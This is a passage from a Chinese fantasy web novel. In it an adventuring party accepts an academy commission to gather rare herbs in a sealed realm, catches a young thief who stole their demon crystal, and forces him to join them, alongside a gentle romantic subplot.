“亲爱的曙光冒险团………”她念了一句,“得知贵团完成了重大委托,并斩获魔族,获得魔晶,作为母校,学院深感荣幸……” “全是废话。”梅茜直接跳过往下看,神情有些百无聊赖。 然而,她的速度越来越慢,扫过某一行时,善魔的瞳孔猛地停住,尾巴也僵在了空中。 “又怎么了吗?”诺曼揉着脑袋凑过去,“难道是论文的数据出问题了?还是又要搞什么活动要去讲座?” 他嘴上嘀咕着,而善魔没有回应。 等诺曼看清上面的字,他也停住了,嘴巴开始一点点,一点点张大。 “怎么了嘛?”妮娜探过身子,琥珀色的眼睛睁得很大。阿方索也看向梅茜手上的纸张,目光带着探究。 “是,来自学院的委托。”梅茜的声音有些艰涩。 学院的委托吗?艾伯特愣了一下,随即很快分析起来。 对他们这种新生冒险团来说,确实比较少见,但是也不是不可能。 特别他们其中大部分都是学院的学生,其中还有学者,与学院更加亲近,最近还做出了不小的贡献。 这种事情不是没有先例,学院想扶持他们,也算有理有据。 那,是什么让对面两人这么失态?艾伯特有点不解。 但很快,他就知道了原因。 梅茜的声音轻而清晰,但是能听出来其中的不可思议。 “学院委托上,所进行的地点……” “在,昨日花田。” 25. 春夜 昨日花田。 妮娜惊讶地捂住了嘴巴。艾伯特也有些不可置信,眼睛瞪得溜圆。 阿方索没有两人反应那么大,但看大家都一脸震惊,也跟着碰了碰下巴。 虽然名字听起来十分普通,像是什么三流的旅游景点,但实际上并非如此。 大陆上,对冒险有三分兴趣的人,都不可能没听说过它的名字。 “阿方索,你知道吗?”善魔把委托书放在桌上,抬头,向冒险团中唯一一个可能的未知者介绍。 昨日花田是大陆最有名的秘境之一。传说,进入的人们,有机会在其中看见自己的前世。 不过光靠梦幻的传说,是不足以让昨日花田拥有如此盛名的。 让其如此受追捧,更现实一点的理由,则是其中藏有数不胜数的奇花异草和珍宝。 “三百年前的一次大火中,昨日花田的周围被烧毁,原本盎然的花海,如今只剩下一片枯草。”梅茜的声音变轻,难免有些惋惜。 “至此之后,昨日花田一直由王国和学院共同监管,很少对外开放。” “大火的原因众说纷纭,至今仍未有结果,流传最广的说法,是有恶魔纵火而导致。” “虽然我确实不喜欢恶魔,但事实上,这个说法目前也没有确凿的证据,只能说是一种可能。” “花田主要被烧毁的地方是外围,内部深处到底如何,没人知道。毕竟就算在烧毁之前,能进去的人也不算很多。” 梅茜支起下巴:“是真是假,谁知道呢?坚信里面有好东西的人一直不少,只不过大部分都被严格的监察挡在外面进不去就是了。” “委托要求我们收集昨日花田里至少五种A+级及以上的草药,并且收集七种不同的数据样本。”艾伯特皱着眉读出要求,“报酬……一千五百金币,时间为三个月内。” “如果能拿到‘’且醉草’,以上所有条例作废,报酬翻倍,并额外添加全员参加王都庆典晚宴资格……” “且醉草?”年轻团长眉头皱得更深,“这东西不是传说里的东西吗?真的要去找?” 且醉草,是昨日花田最有名的传说之一。相传,它生长在昨日花田最深处,闻之忘忧。 而用它制作药剂,可以让人陷入以此生最美好的回忆为基底构建的幻境,永不醒来。 “既然是额外条件,当然可以不去做。” “说实话,报酬在这种类型里算不上特别丰厚,难度也很高。但是能进入昨日花田,本身就是一种难得的机遇。”梅茜理性分析,“这种委托不缺人的,特别还是学院的。我们这种小冒险团,过了这村可就没这店了。” “总的来说,风险与机遇并存。我都可以,主要看你们。” “有这种机会,不可能不去的吧?”诺曼兴奋起来,摩拳擦掌,“这一票要是干好,别说经费了呀,说不定这辈子都可以躺平了。” 艾伯特却没有特别激动,也没有立刻张口答应,他安静片刻,发出了异议。 “昨日花田是多年未开放的秘境,这几年能够进入的冒险团本来就寥寥无几,就算学院能给我们提供情报,参考的价值也不高。”他放下了手中昂贵的纸张,语速缓慢但清晰,“虽然不知道为什么学院会选上了我们,但是无论如何,关于其中的信息还是太少了。如果接下委托的话,会不会有些太危险了?” “哎,怎么能这么说呢?”诺曼恨铁不成钢,“难道你就没有点少年的热血吗?挑战!征服!探索未知!” 然而周围人明显没有他的这种觉悟。 “本来就是啊,哪有什么热血。”艾伯特无力地捂住头,绿色的长发耷拉在桌面上,“我们组冒险团,难道目的是为了讨伐魔王吗?” 诺曼一时竟无话反驳。 怎么办,还真是。 艾伯特是为了逃离原生家庭,妮娜是为了追艾伯特,梅茜是为了报答学弟的帮忙,顺便闲得无聊。 阿方索……阿方索十有八九是当时刚好捡到了传单。 而他……说实话,最开始纯是为了肯特家族委托他保护小姐兼职当后勤的那笔钱来着。 “其实也是……”妮娜也小声开口,她有些犹豫地摸了摸手腕上精致的发带,这一条是姐姐们在成人礼送给她的。 “虽然我挺想去的,但反正又不是很缺那些,万一真的出事了的话……” 那天失语密林的事情,至今仍在妮娜的脑海中久久不散。 那种真正危及生命的濒死感与无力,少女这辈子都不想再体验第二次。 而且她和艾伯特不一样,她还想回家。 完蛋,大小姐也开口了。 但是这种机会如果放弃的话,这辈子都不会有第二次了吧。 梅茜肯定是说不动了,只有…… 诺曼猛地把头转向一旁安静坐着的精灵。 “阿方索,你有没有什么想法呀?” 他双手捧心,眼中充满期待。 “我听团长的。”精灵回答的很迅速。 艾伯特听见这句话,原本有些沉重的心情不可控制地变得愉悦。 他嘴角不自觉地上扬,意识到这一点,又赶紧用手抵住唇边,强行把弧度按了下去。 妮娜看着艾伯特嘴角都压不住的样子,忽然有点不爽。 和之前的心情复杂酸涩不同,纯粹是不想看这人这种暗爽的模样。 “其实想想,去也不错。”她放下了摸着发带的手,“毕竟如果连历练都不敢,难道以后遇到危险还像上次那样等着人来救吗?” 艾伯特:? 虽然从来没有指望过妮娜站在自己这边,但突然变卦是不是有点诡异了? 这几天正常了不少,现在这样,自己最近又哪里惹到她了吗? 诺曼蔫倒在地,听到这话,又顽强地振作起来。 哎,这不就2:2了吗。 他能做到现在,靠的不仅是这张帅气的脸和的利落的嘴皮,还有不屈不挠的脸皮…… 不对,是意志。 “艾伯特啊,你不是想让你家里承认你吗?”诺曼拼尽全力鼓动,“这个可是学院的委托啊,要是咱们真的拿下了,就算拿不到且醉草,弄到什么别的异宝,再加上魔晶,岂止是锦上添花,什么事情办不成啊。” “有魔晶已经差不多了吧。”艾伯特却难得没有让步,“本来……就只是权宜之计而已。” “实在不行,就算了。不回家里,就不回吧。” 不是,怎么现在这种时候想开了啊??? “那也不是现在啊!”诺曼急得拍桌子,“今年的王都庆典,你怎么样也得回去吧?拿不到且醉草,你们家族不是也得参加吗?” “嗯……”少年对了对手指,“反正我又不是长子,去那里也没有什么事,王室晚宴也不差我一个……” “再说,关于我的事,王都的大家也都知道了。” “就算我没出场,也不需要解释吧。” 不是,哥们,真不打算回家啊?! “阿方索,你还没去过王都吧?”诺曼眼看艾伯特这边说不通,立刻另辟蹊径,转头看向精灵,“王都可比这里强多了,而且庆典的时候更热闹,到时候咱们一起去玩玩怎么样?” “全大陆的好东西都在庆典上。”诺曼极力推荐,“像是什么难得一见的魔法晶石啊,什么来自冰河湖畔的河鲜海鲜啦,还有什么沙漠部落的传统舞蹈啊,只有你想不到,没有庆典做不到的。” “……特别是,还有各式各样不同做法的奶油蘑菇汤。” 诺曼祭出了杀手锏。 阿方索明显对最后一句颇有兴趣,他转过头,看向旁边的少年。 “呃……”对上那双如同湖水一般的眼睛,艾伯特有气无力。 怎么办,对于阿方索的眼神,完全顶不住一点。 “你不回家,妮娜和我还要回家呢。”诺曼撺掇道,“梅茜的研究室也不能总离开人吧。” “哦?别拉上我哦。”梅茜点点唇,“我的东西可早就交接好了,不用担心。” “不过庆典的时候,确实有一些平时见不到的小东西卖呢,一些艺术表演也很有特色,我还挺喜欢的。” “……再说,阿方索还没去过王都呢。你要是因为这事儿不参加庆典,你让别人怎么想。冒险团还能一辈子不去王都吗?你让我们阿方索怎么抬得起头啊。”诺曼几乎要声泪俱下。 阿方索有点困惑,虽然他确实有点想尝试不同的奶油蘑菇汤,但是为什么艾伯特不参加庆典,他会抬不起头呢? 他的脖子也不会坏掉啊? 可能是 大陆语一些同义词吧。 “……行。”最终,年轻的团长最终还是对软磨硬泡和心中那点隐秘的期待点了头。 如果阿方索能去王都的话,他就可以带他好好逛逛了。 毕竟,艾伯特可是从小到大在王都长大的,往上数三代都是王都人,可以说是纯血本地人了。 “那,去吧。” “哎呀,这就对了嘛!”诺曼喜笑颜开,生怕他反悔,“风风光光回个家,多好,到时候,说不定还能碰见维特他们呢。” 梅茜也点点头。 “既然没意见的话,那我们明天就出发吧。” “虽然任务地点离这里比较远,但是时间充裕,路上还可以接一些其他的委托。” “早点休息吧,明天早上第三声钟响,记得下楼集合。” 今天天气不错,没有乌云。 最后一道斜射过来的夕阳也被黑暗吞没,月亮升起时,艾伯特刚刚写完日记。 这是所有日记中的第四本,却是组冒险团以来的第一本,封面上,是一颗正在冉冉升起的太阳。 曙光。 放下笔,合上本子。封皮还算崭新,抚摸到上面的太阳,流连到旁边射出的光线,修长的手指停下了。 艾伯特忽然很想见阿方索一面。 但是现在敲门,时间不对,也没有合适的理由。 他决定去碰碰运气。 恰好运气不错。 旅馆的公用阳台不算大,平时也很少有人来这边,特别是这种晚上的时候。 正好,只有他们两个。 “明天早上就要走了。”艾伯特上前,站到精灵的旁边,陪他一起倚着栏杆,“舍不得吗?” “王都,不一样?”阿方索没有回答,反而提出了新的问题。 “嗯,王都的生活不太一样,比木林镇更加舒适,东西也先进多了。” 艾伯特诚实地说。 他有些不好意思地摸了摸脸颊,“不过这是我的看法,我家……比较厉害。王室的宴会,我也去过几次。” “宴会,好吗?” “我也说不上好不好,不过,确实……很华丽。” “我不太适应宴会的氛围,没什么人来找我,我也不喜欢去舞池跳舞。”艾伯特腼腆地低下头,笑了笑。 “我一般就坐在角落,吃吃喝喝什么的。” “不过那里的小蛋糕挺好吃的。”他补充道,语气轻松。 “等去完花田,回王都之后,我想办法带你尝尝好了。”艾伯特轻声说,“虽然正菜是妮娜家的厨子更好一些,但是甜点的话,我们家也算是王都最好的了。” “嗯……主要是因为比较富裕吧。我听别人说过,我们家厨子一个月的工钱,比得上一个中级魔导师的收入了。” “……和其他人相比,我能过上这样的生活,已经非常幸运了,却还是……不满足。”说着,他的声音渐渐低落下来。 “但是有些事情,我是绝不会接受的。” 少年语气恢复如常,嘴角挂上勉强的弧度,神情却流露出一丝脆弱。 “……只是,还是会有愧疚吧。” 艾伯特叹了口气,不说了。 他笑着摇摇头,看向阿方索:“发没发现,一在你身边,我就容易多愁善感。” “我,让你伤心?”阿方索歪歪头。 “不不不,”艾伯特否认,他快速摇头,连手指也伸出来摇了几下,“是因为开心。” 没有解释为什么,艾伯特撑起脸颊,问道:“对了,阿方索觉得,什么时候会比较开心呢?” “大家在一起,开心。” 阿方索想了想,开口回答。 他的金发在月光下静静流淌,皮肤几乎白得透明,嘴唇如同蔷薇,一张一合。 艾伯特安静地看着精灵,没有说话。 今晚月色真美啊。他想。 以往的春天,有这么美的月亮吗? 不记得了。 但,没关系。 两人对视良久,忽然,艾伯特的脸上露出了粲然的笑容。 少年紫红色的眼睛弯起,血一般的耳钉晃了晃,即使在夜色之中,依然显得格外夺目。 “嗯。” “我也想,一直在一起。” 26. 草药 当又一次被人一脸感激地送出门,梅茜终于觉得自己的忍耐值已经达到极限。 几人从木林镇出发,也已经行走了一周多的时间。 而这,已经是这周第五次了。 “虽然我是说过时间充裕,但是也不是让你接这些委托来浪费时间的吧??” 她有点抓狂。 妮娜和诺曼站在一旁,努力缩小自己的存在感。 “可是他们真的很需要帮忙啊。”艾伯特双拳在胸前握紧,身体向前倾,理直气壮地反驳,“作为冒险团,无论大事小事,我们难道不是都应该要帮助大家吗?” 梅茜冷笑一声。 “是啊,当然都要帮助大家。” “但,事情也不能太小吧?” 她咬牙切齿。 “像之前修栅栏还有那些找猫猫狗狗的,我就不说什么了,毕竟也算是好人好事。” “为什么刚才那家的小孩子作业丢了,你也要去帮忙啊??” “因、因为作业,也很重要啊……” 艾伯特努努嘴,声音越来越低。自觉心虚,望天不说话,脚步悄悄移到阿方索身后。 梅茜看着艾伯特的小动作,又看看事不关己的精灵,只觉得气不打一处来 阿方索专心进食,对他们之间的拌嘴充耳不闻,任由艾伯特躲到他身后,一动不动。 他神情平静,手里拿着红彤彤的苹果,是刚才那家的小孩子塞给他的。 至于为什么只塞给了他…… 梅茜看着阿方索张口咬下苹果的瞬间。 碧澄的眼眸垂下。有力的指节,白皙的皮肤,配上鲜红的颜色,简直就像是一幅暗藏隐喻的寓言画。 至今没发现长得好看的坏处。 梅茜刚要说出口的话在嗓子里噎了一下,有七分火气,此时也泄了一半。 善魔深吸一口气,调整心态。 她告诉自己这样不行,团长已经沦陷,她不能再被美貌迷了眼睛。 但话一旦没能一次讲完,就算再说出口,威力也会明显减弱。 “还有,阿方索,你也别艾伯特一说你就跟着干啊?……他做什么,你就做什么吗?” 梅茜简直无力吐槽,“……就算你要做,也能不能不要他一开口,你就立刻行动啊。” 精灵嚼着苹果,一脸无辜。 梅茜不禁扶额叹气,本来艾伯特就喜欢没事找事,现在还多了个开团秒跟的。 如果说艾伯特是罪魁祸首,那么阿方索就是从犯。 还是最大的那个。 之前的事情暂且不提,就这次来说,最开始冒险团本来只想问个路。 开门的人本来面色不善,但看见笑容洋溢的俊俏少年,脸色顿时缓和了许多。 再往后看,就更不必说。 本来要问问周围哪里有物资比较丰富的地方,结果还没说上几句,就听到了孩子的哭声。 家长不好意思地道歉,几人了解了一下,才知道这家的孩子把作业本弄丢了。 梅茜一听就心感不妙。 但,来不及了。 就犹豫了一瞬间,艾伯特已经自告奋勇,热火朝天地和孩子父母聊了起来。 而他刚张口答应孩子父母帮忙寻找作业,阿方索就已经开始了。 他和孩子蹲在一旁,那小孩跟他讲来龙去脉。作业长什么样,什么时候不见了,手舞足蹈,声情并茂。 精灵不仅听得非常认真,而且一边听,一边还时不时点头。 最让梅茜受不了的是,这两人最后还真的靠着一个破纸片,在旁边的小树林里找到了作业本。 那真的就是一个纸片,还没有手掌大。 这样的效率,维特知道都哭了好吧,找作业本比找人还热心。 ……虽然那只猫也活该就是了。 听到抱怨的话语,阿方索停下咀嚼,他打量了一下梅茜的表情。 他思考了一下。 “不要,生气。” 梅茜刚想说怎么能不要生气,就看见精灵咬住苹果,翻了翻随身的口袋,从里面拿出了一把绿色。 “这个,给你。”他的声音有点含糊。 精灵叼着苹果,把草药双手捧到善魔面前。 看着阿方索手中表面晶莹的嫩枝,梅茜微微怔了一下。 这……是她最近缺少的草药,阿方索怎么会有这些? 梅茜记得自己从来没有特意说过这件事,就算有,也只不过是随口一提。 她本来打算在路上找找,或者到了花田,再去附近的物资点补充的。 没想到,会有人真的记在心里。 这种草药不算特别珍贵,但不刻意去找,一般也很难找到。 或许在旁人看来,这是一件小事。 但这件小事,确实让梅茜心里有了些胀软的滋味。 哎,真是的,明明年岁也不大,也刚离开家不久,却这么了解怎么讨女孩子欢心呢。 虽然说,阿方索讨男孩子欢心也很厉害。 梅茜抬高视线,原本想要就此放过,结果刚刚抬眸,就撞上了精灵的目光,她的手指忍不住抖了一下。 ……太耀眼了。 精灵族母树到底往这个人脸上加了什么……怎么能真的有人长成这个样子? 咬着苹果的样子……好可爱。 梅茜缓缓抬起手,捂住眼睛。 良久,她认命地叹了一口气。 算了。 “谢谢……但,这次,最后一次。”梅茜接过草药,无奈地举起一根手指,倔强地强调。 “真的,最后一次。” 诺曼听见这句话,扯了扯嘴角。 没有意外的话,今天晚上就要到花田附近了,想不是最后一次都难啊。 而如果指的不是到达花田之前的话,嗯,他觉得,也肯定不是最后一次。 阿方索却似乎没想那么多,他点点头,再次把苹果拿到手中,继续开始小口进食。 他一副轻巧的样子,旁边的人却不如此想。 诺曼有些震惊,他没想到,阿方索竟然如此轻而易举地就平息了梅茜的怒火。 他和梅茜认识这么多年,还是第一次见到如此有效的方式。 不过,他也同时非常确信,此招能效果拔群,多半还是人的原因。 如果换他来,估计效果肯定会大打折扣。 而妮娜有些羡慕,阿方索竟然能记得这么细节的事情,自己却从来没有在意。 明明自己才是药剂师,应该更关注才对的,还需要努力呀。 她捏了捏自己的衣角,上面不像以往那样,缀着流苏或者精致的宝石。 从木林镇离开之后,妮娜就换成了更加简便的服饰,再也没有穿过那种华丽但妨碍行走的衣裙了。 在阿方索和梅茜说话的时候,年轻的团长一直保持沉默。 直到梅茜认输,艾伯特才从阿方索身后探出头来。 他凑到精灵的身边,看了看 苹果,又看了看阿方索,小声地问道: “苹果…好吃吗?” 紫红色的眼睛忽闪忽闪,语气有些小心。 阿方索顿了一下,他的目光在自己手中的苹果和艾伯特之间流连了一下,目光在那个红色的耳钉上停了片刻。 “嗯。” 说完,他拿起苹果,掰开,动作很利落。 阿方索把没有咬过的另一半递给身边的少年:“给,尝尝。” 艾伯特瞪大了眼睛,没有想到能获得这样意外之喜。如获至宝一般,捧在手心小心翼翼地接过。 虽然他更想要的是咬过的那一部分,不过这样也好,人不能要求太多。 艾伯特很想要把苹果供奉起来,或者做成标本留在身边。 但是目前没有什么好的保鲜手段,而一直捧着苹果看起来也太奇怪了。 再说,阿方索还看着他呢。 “……谢谢。”绿发少年脸有些微红,他轻轻地咬了一口苹果,在嘴中细细品味。 嗯。 确实很甜。 到达昨日花田附近的聚集点时,已将近黄昏。 聚集点就在附近,没有华丽的高楼,但各式各样的小楼、摊位和平房挤在一起,倒也不算多么破败。 而如果站在高处,再往远处看,绕过守卫的防线,则是一片枯寂的荒凉,夕阳斜照,给暗沉的土地染上浓重的霞色。 这里本来已经因为大火荒无人烟,原本的居民几乎全都搬离了此地。 但因为昨日花田的存在,这里仍然有着规模不小的聚集点,店铺和东西也算齐全。 这里的主要的居住人员包括驻守花田的守卫,附近的管理人员,还有一些专门研究的学者。 当然,除此之外,对昨日花田心怀不轨的各类团体也不在少数。 雇佣兵、野生冒险团、盗贼……三教九流的成员,不说数不胜数,也是应有尽有。 进入聚集点之前,梅茜就叮嘱过他们,这里鱼龙混杂,行走时要格外小心,尽量不要落单。 学院已经给他们做好了登记,按照委托书上的指引,曙光冒险团需要前往专门的旅店。 而在去往旅店的路上,变故突生。 一个身影出现在街头,浑身上下都用黑布包裹,戴着兜帽,身形略高。 这种打扮在这里不算显眼,他似乎有什么急事,脚步匆忙,与冒险团擦肩而过。 路过时,还因脚步不稳,险些撞到了梅茜身上。 梅茜警惕地躲过,甚至没有让他碰到衣角。 那人连忙摆手,好像来不及道歉,拉低兜帽,就要转身离开。 就在须臾之间,阿方索突然向前一步,拉住了那人的衣袖,止住了他离开的步伐。 一时之间,局势瞬间变得紧张起来。 那人暗红色的眼睛中闪过一丝惊诧,似乎没想到对方反应如此之快。 他暗暗尝试挣脱,却被进一步握住了手臂,只能下意识停下脚步,一时没站稳,不由得踉跄了一下。 黑衣人很快稳住身子,开始尝试扯回自己的袖子,两人拉扯了几下,对面的斗篷松开了一些,露出来一头略长的黑发。 黑发少年有些气急,忍不住啧了一声,想重新戴上兜帽。 然而阿方索没有放开。 “手。”精灵声音冷淡。 阿方索握住少年的手腕,微微一动,对面的掌心就被按开。 黑色的晶石跌落在地上,发出清脆的响声。 27. 盗贼 梅茜粉眸凝住,心里一慌,下意识探向自己放在腰间的小囊。 察觉到其中空无一物,善魔不禁眉目一凛,她能确定,这个人刚才绝对没有碰到她。 这个小贼,比她想象的还有些手段, 这小囊看似小巧,实际上一点也不简单。 不但有基础的防盗法阵,为了以防万一,梅茜还施下了隐匿的魔法,一般人根本不可能注意。 能悄无声息地偷走,这人绝对不简单。 一个小贼被逮住偷东西,在聚集点也算是习以为常的事情,大家早已看过,目前还没有太多人关注这边。 倒是精灵因为这一出显眼不少,声音一出,已经有不少人偷偷投过来眼神。 此地容易人多口杂,她催动魔法,魔晶动了一下,立刻飞回了小囊。 又向前一步,其余三人默契地聚过来,挡住了外来的视线。 “你不是普通的小偷。”看到被特殊处理过的黑手套,梅茜眼睛眯起,语气笃定,“你是盗贼。” 一般人偷盗无非是为了财物,而盗贼不同,他们有专门的组织,甚至有特有的技术,也有自己的规则。 一些盗贼甚至熟悉于魔法,窃取的东西也不仅仅在于物质。 盗贼之中分为诸多品类,例如有一部分不是为了自己而成为盗贼,而是专门窃取贵族的财物,然后分发给平民,简直可以说是行侠仗义了。 不过,按本质的手段来说,梅茜没觉得和小偷有什么根本的区别。 被当众点明身份,盗贼咬了咬牙,但是目前被抓住手腕,也无法挣脱。 艾伯特看见这一幕,心里的怒火更盛。 不是。 虽然隔着手套,但是被阿方索碰过手,说谢谢了吗? 真是不识好歹。 盗贼无法知道这位团长的心理活动。 眼看无法逃开,他眉头皱起,神情相当不爽,张了张口,踌躇半天,终于还是开口解释。 “拿着这个东西进入花田,对你们没有好处。”他的声音有些闷,嗓子似乎有些问题,带着几分嘶哑。 “你要是只能说出这种话,还是跟治安局的老爷们去解释吧。” 诺曼嗤笑一声,“金币放在身上还容易遭人觊觎呢,可以把你的钱都给我吗?” 妮娜没忍住捂住嘴,浅绷。 艾伯特表情微微扭曲了一瞬,很快恢复了正常。 他看向精灵,阿方索的手仍然紧紧抓着戴着黑色手套的手腕,两人目光对上。 艾伯特点点头,阿方索表示了解。 他把紧紧攥住的手腕放了下来。 盗贼还没来得及松一口气,精灵一个侧步,把他的双手反剪在了身后,抓得更严了。 盗贼:…… 至于吗?就算像刚才那样,他也躲不开啊。 今天出门真是没看日子,他咬了咬牙。 早知道,就不多管闲事了…… 但是事已至此,时间也不可能倒流,只能走一步看一步了。 一般情况下,梅茜哪还会给盗贼这么多反应的时间,早送局子里去了。 但目前来看,这个少年盗贼似乎知道些什么关于昨日花田的事情。 与其交给官方,不如先留着问问,看能不能套出什么有价值的消息。 说不定,会有额外收获。 反正有阿方索在,大不了问完之后再送回去就是喽。 至于是送回到家里,还是送回到督察队,就要看这位盗贼少年识不识趣了。 梅茜微微弯下腰,露出笑容,她眉眼弯弯,却让看到的人不禁汗毛倒竖。 善魔语气温柔,循循善诱: “先生,你也不想被督察队找麻烦吧?” 盗贼看着她,一滴冷汗从额旁划过。 他抿了抿唇,内心斗争了片刻,最终,只能无力地重重点头。 在旅馆专门给冒险团准备的包间里,气氛严肃,梅茜悠然地坐在中间,喝着杯子里的红茶。 艾伯特和妮娜分别坐在他的两边,目光紧盯着面前垂首的少年。诺曼倚在窗户边,眯起眼睛打量。 阿方索站在盗贼身旁,仍然锢住对方双手,表情平静,手上的力度却丝毫未减。 他手中的盗贼少年面容清秀,略长的黑发挡住暗红色的眼睛,身形有些消瘦,嘴唇咬得发白,看起来有些许狼狈。 样子明明是扔在人群里就不容易注意到的类型。 但艾伯特莫名觉得这个配色有点眼熟,他翻找回忆,却怎么也想不起来在哪里见过。 “怎么被一副被欺负的样子呀,小可怜。”梅茜呷了口红茶,“明明是你先招惹我们的啊。据我所知,魔晶在盗贼黑市的价格,可是相当不低吧?” “我不走,先松开我,行吗?”盗贼扯了扯嘴角,手臂被按的有些发麻。 “我给你我的盗贼徽章做抵押。”他看向梅茜,语气艰涩,“你知道它意味着什么。” 盗贼的徽章是其身份的认证,一旦失去,便很难再获得资格,不少盗贼把徽章看得比命还重要。 毕竟,连徽章都能弄丢,还有什么脸再当盗贼? 善魔安静了一瞬,似乎在斟酌,随后,她对阿方索眨了眨眼。 精灵会意,他松开了盗贼的一只手。 盗贼来不及放松,颤抖着把手探入衣襟,将一枚银色的徽章扔到中央。 徽章颜色有些暗淡,周围微微泛黑,中央的图案是一只栩栩如生的乌鸦,正端坐在上面,叼着金币,正歪头看着众人。 梅茜挥挥手,徽章落在她的掌中。她仔细观察了一番,对阿方索颔首。 精灵松开了另一只手,但是没有过去坐在一起,他仍然站在一边,像沉默的守卫。 手臂终于被完全解放开来,盗贼喘了口气。他默默整理着身上的衣物,动作中带着几分忧郁。 可惜这里没人欣赏这份脆弱。 “说说看吧,你的来历,偷我们东西的原因……”艾伯特敲了敲桌面,语气不善。 “以及,你对昨日花田了解多少?” 黑发的少年盗贼没有立刻回答,他扯了扯斗篷,更全面地把自己裹好。 确认自己重新捂得严严实实,他才缓缓开口。 “我叫……帕里斯。” 他没有报出自己的姓,不知是没有,还是不愿意说。 “我……父母不在这里,手艺是师傅教给我的,他是个很厉害的盗贼。”帕里斯顿了顿,接着开口,“他教了我很多,包括隔空取物和偷窃的手法,我了解盗贼,也是他带我入的门。” “不过,他已经死了。”他的声音更低。 “他死去的地方,就在昨日花田。” “昨日花田,他跟我讲过一些。”帕里斯手指弯起,蹭了蹭眉头,“老头曾经跟我说过,他曾经见过去过昨日花田深处的人,那些人出来之后,就跟失了魂一样……” “……简直,就像那些 恶魔。”少年的话语一点点挤出来。 “没有感情,没有意志……就像是行尸走肉。”他闭了闭眼,“听说,很快就被‘处理’了。” 说那个词的时候,帕里斯的声音变得很轻。 他没有细说怎么处理,是什么处理,但是在场人都能猜到大概是怎么回事。 能够知道这样的秘闻,帕里斯的师傅也不简单。 “就连他,也是进去之后,就再也没有出来。所以,我一直都想去昨日花田深处看看。” “他当时进入的时候,身上就带了魔晶所镶嵌的匕首。再参考他之前跟我讲的那些东西,我怀疑,昨日花田可能与魔晶有着某种关联。” “所以,这就是你偷我魔晶的原因?” 盗贼诚恳点点头。 “你,是怎么知道我身上有魔晶的?”梅茜轻轻放下茶杯,手指抚着杯沿,淡淡问道。 “一开始不知道。”盗贼摇摇头,“但是按经验来说,你们这种长得好看的,一看身上就有东西。” ……好朴素的理由,一时竟然无法反驳。 “之后靠近了一些,我才发现的。” 帕里斯握了握双手,神情有些后悔。 “我有特殊分辨魔晶的方法,因为它的能量格外纯粹。举个例子,别的魔法晶石就算再纯净,它所蕴含的元素也终究是普通元素之中的一种或几种。” “而魔晶不同,它所蕴含的能量格外庞大,不同于任何普通的元素,也不是单纯的魔法,更像是独立于所有元素之外的一类。” “你们一看就是冒险团,周围的秘境就只有那一个,所以,我就想帮帮你们。” 说着说着,他神情黯淡下来。 “……早知道你们队伍里有精灵,我就不来了。” ……为什么这样一副小媳妇的样子,本来也没人希望你来啊。没偷到东西还委屈上了吗? “就这些?” “就这些。”帕里斯语气变得正常,“我徽章都给你了,不可能骗你。” “话都说完了,那……可以把徽章还我吗?我……还有事。”盗贼眼神闪了闪,小心翼翼地指了指门口。 然而。 “不可以哦。” 梅茜语气自然,宣布了盗贼的命运。 “你跟我们一起。” “啊?”不仅盗贼愣了,艾伯特也愣住了。 “我说,你和我们一起去昨日花田。” “我,我吗?”盗贼有些迟钝。 “他吗?”艾伯特不解。 帕里斯指了指自己,艾伯特直直指向他。 “我也要进入吗?” “对。” “不然呢?万一你给的信息有问题,分开来都是对的,但是合起来不对,我们上哪哭去?”梅茜笑眯眯地说,妮娜也跟着点了点头。 “还是带着最方便,你说对不对?而且,你不是也说一直想进去看看吗?我们正好就有通行证。” “这可是难得的机会啊。所以,一起吧,帕里斯先生。” 顶着周围人炽热的目光,盗贼感觉压力山大,没法好好思考。 他用手遮住视线,头低得几乎要埋在地里。 不知道为什么,那个绿色头发的少年目光似乎格外强烈,就算用手挡着,盗贼也有些头皮发麻。 “别用这种眼神看我。”帕里斯移开眼神,嘴角抽搐了一下,话语脱口而出。 “我不喜欢男的。” 28. 往事 ? 艾伯特不敢相信自己听到了什么。 是怎样的自信,能让这个人说出这种话? “你,不会在指我吧?”年轻团长面上笼罩上一层阴影,声音阴沉地质问道。 不喜欢男的有必要强调吗? 他喜欢的人还不是女的呢,艾伯特一直也没说啊。 阿方索还没说什么呢,无论如何,怎么也轮不到面前这个人来说这种话吧? “我……我说我自己。” 帕里斯捂住了脸,眼神中透露出绝望,不愿多说。 眼看着两人之间的气氛逐渐变得紧张,梅茜抽了抽嘴角。 为什么在这种事情上偏偏那么敏感啊。 不过确实是想的有点多,艾伯特有有意思的另有其人。 不过也是,之前在学院的那段时间,梅茜虽然觉得这个学弟虽然过于乐于助人,也隐隐能感受到对方没有表面那么正常。 但是总的来说,还是比较靠谱可信的,表现的也相当正派。 自从组冒险团以来,特别是和阿方索相处久了之后,这个学弟就会做出奇奇怪怪的举动。 该说是逐渐解放天性了呢,还是色令智昏……她觉得两者并不冲突。 不过,说来也怪,虽然不像之前那样彬彬有礼,经常也有令人迷惑的发言。 但梅茜偏偏觉得,现在这样的艾伯特,反倒感觉更有活人感,也更讨人喜欢一些。 虽然她对这段跨种族,而且目前看来是单方面的恋情,算不上特别看好,但是善魔衷心希望阿方索能感受到这份可爱。 哪怕是当当朋友呢? 要是结果太惨,学弟可能会死不瞑目。 “行了,给个准话,去不去。”梅茜也不装了,直截了当。 “……可以不去吗?”帕里斯默默开口。 “可以啊,不过一会儿你就不用担心没地方过夜了。”梅茜拍拍手,“我们一起送你去督察队,让他们解决一下你的生活问题。” ……这不是还是没有选择吗? 要是被督察队发现,被怀疑的话…… 不、不可以。 而且……这确实是一个进入花田的合理理由,多少,能省点麻烦, 也许。 帕里斯只能向邪恶势力低头。 “……我去。” 说到底,明明他才是盗贼,对面是冒险团,为什么是他被逼着答应, 到底谁才是真正的的灰色势力啊。 “所以,我的想法呢?” 被忽略的团长发出不满的声音,然而权威不足,无人在意。 面对令人心酸的局面,艾伯特头一歪,靠在旁边的阿方索肩上。 艾伯特忧愁地叹了一口气。 虽然知道梅茜是对的,白嫖一个对秘境有了解,也有一定实力的劳动力对冒险团无疑是一件好事。 但是,好不爽。 精灵没有说话,他没有躲开,伸手,拍了拍那只瘫软绿色水母的后背。 艾伯特如同被注入能量,被哄好了,瞬间从萎靡无力的绿色水母变成容光焕发的绿色水母。 头发都似乎更有光泽了一些。 出息。诺曼不忍直视。 帕里斯面色复杂地看着这一幕,这就是冒险团成员的感情吗? 就连精灵,也…… 完全做不到。 果然,他这辈子都不要组冒险团。 行李正好都带在身边,冒险团还未正式入住,正好趁这个时候筛查一番,不合适的东西都提前留在旅店。 大家把东西整整齐齐排列在桌子上,由帕里斯筛选。 